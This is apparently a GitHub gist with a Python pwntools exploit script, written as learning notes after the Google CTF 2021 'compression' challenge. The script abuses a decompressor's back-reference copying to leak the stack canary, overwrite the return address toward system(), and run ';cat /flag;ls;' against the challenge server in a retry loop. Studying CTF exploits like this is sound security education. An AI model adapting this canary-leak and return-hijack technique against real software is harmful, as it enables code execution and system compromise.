Skip to content

Instantly share code, notes, and snippets.

@volticks
Last active July 20, 2021 21:18
Show Gist options
  • Save volticks/4b5bb7bf79217ad58f6cda9fb32fbf44 to your computer and use it in GitHub Desktop.
Save volticks/4b5bb7bf79217ad58f6cda9fb32fbf44 to your computer and use it in GitHub Desktop.
I failed the googleCTF 2021 challenge for 'compression' so I though I would try again, this time making plenty of notes. I hope this is useful to someone else who alos failed :).
#!/usr/bin/python
from pwn import *
# Note 2, this will now work with any commands lower than 16 bytes :). Any more than that will be copied over the stack canary.
# Get the string representation of a bytes/multiple bytes. Thanks google
def varint(n):
if n < 0:
n += 2**64
if n == 0:
return "00"
s = ""
while n:
if n >= 128:
s += "{:02x}".format( 128 | ( n & 127 ) )
else:
s += "{:02x}".format( n & 127 )
n >>= 7 # get next byte
return s
# Use the compression algorithm to repeat chars. 0xff notes end of section, then we have the value 'delta' and the number
# of times it is repeated 'length'.
def repeat(delta, length):
return "ff" + varint(delta) + varint(length)
def sendcompressed(choice, compressed):
if choice:
p = process("./compress")
if choice == 2:
gdb.attach(p, '''
break *decompress+309
break *decompress+262
break *main+439
continue
''')
else:
p = remote("compression.2021.ctfcompetition.com", 1337)
p.sendline("2 " + compressed)
buf = p.recvall()
p.close()
return buf
magic = "TINY".encode('utf-8').hex()
EOF = repeat(0, 0)
JUNK = "42"*8
libc_main_stack_off = 0x1008
canary_off = 0x23e0
buffer_off = 0x2320
ret_addr_off = 0x2328
system_rbp_rdi_bytes = 0x833e # have to guess the last nibble (if only we could write nibbles.)
command = b';cat /flag;ls;'
command += b'\x00'
while len(command) % 8 != 0:
command += b'\x00'
command = command.hex()
# Remember, command is 2 digits per byte, but in memory is only one.
cmdlen = int(len(command) / 2)
# Since our sploit is just copied over the old stack, if the command is too long it will overwrite the stack canary.
# Specifically 16 bytes is your limit.
if (cmdlen > 16):
print("Do you wanna smash the canary with that? \nHello no, less than 16 bytes please.")
exit(1)
def main():
## Stage 1, read the canary.
# Canary is here, along with other stack data for the return to __libc_start_main:
# If we can find a canary that is before where our input buffer is stored (r10). We will
# be able to copy it back into our input buffer with no trouble (since thats how the array assignment works).
# rdx = (char *)(rdi + r12 - r9);
# do
# {
# cl = *rdx++;
# rdx[r9 - 1] = cl;
# }
# while ( rdx != (char *)(rbx + rdi + r12 - r9) );
# The compressed data has to start with a magic value
read_canary = magic
# This will read from our input minus 0x23e0, 8 bytes which will be the canary, then write it back into our input buffer.
# -8 bytes for the length of the string.
# canary_off = r9
# user buffer = rdx
# original user buffer = rdi
# Also we control r9 so we control where rdx comes from. In our case from before our buffer. Adding len(command) compensates
# for the command length without having to find the offsets again.
read_canary += command # command is just some text we use to cat the flag later, once we hijack cf
read_canary += repeat( (canary_off + 8) + cmdlen - 0x10, 8 )
read_canary += JUNK
print("[!] Canary copy built: " + read_canary)
print(f"[!] len == {hex(len(read_canary))}")
## Stage 2: copy our command ptr.
# Now we need to figure out how far from rdi our buffer is from r10, and the current length of the string in r12. This will
# unsure that we do not write OVER the data we just wrote (the read_canary stuff) and instead we index the array past it with
# r9 (extra 8 for this string).
read_input_ptr = repeat((buffer_off + len(read_canary) - cmdlen - 0x10), 8) # Will be rbp, gets popped before we return to __libc_start_main
read_input_ptr += JUNK # Will be another register that doesnt matter
read_input_ptr += JUNK # ^^^
read_input_ptr += JUNK # ^^^
## Stage 3: Copy return address over and patch the lower 2 bytes such that we point just before system()
# We have almost setup the complete stack frame for our return from main. The last thing we need to do is
# give something to 'ret'.
# Format our bytes in a way that is friendly for the decompressor (in ascii form)
return_stuff = "{:02x}{:02x}".format(system_rbp_rdi_bytes & 0xff, system_rbp_rdi_bytes >> 8)
# Now we need to combine the above with the actual return address to main, this means that no infoleak is required.
return_stuff += repeat((ret_addr_off + len(read_input_ptr) + cmdlen - 0x18), 6)
## Stage 4: Copy all of the stuff we just constructed over the top of the stack data used for the return to __libc_start_main
# We have made a stack that will slot into place over the top of the stack at the time of returning to __libc_start_main
# now we need to deploy it.
print(cmdlen)
# The length here needs to be at least enough to overwrite the __libc_start_main addr with ours, and that should drag
# everything else along with it. As usual we correct using the length of the previous string, although since this was only
# 12 bytes long (aka, not aligned to 8 bytes) we need to add 4 (lucky guess on my part).
copy_stack = repeat(libc_main_stack_off - (len(return_stuff) + 4), 0x1008) ## offset by 4 for some reason
# Loop this or something lol.
asd = b""
while b"CTF" not in asd:
print(asd:=sendcompressed(0,
read_canary +
read_input_ptr +
return_stuff +
copy_stack +
EOF
))
#print(sendcompressed(2,
# read_canary +
# read_input_ptr +
# return_stuff +
# copy_stack +
# EOF
#))
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment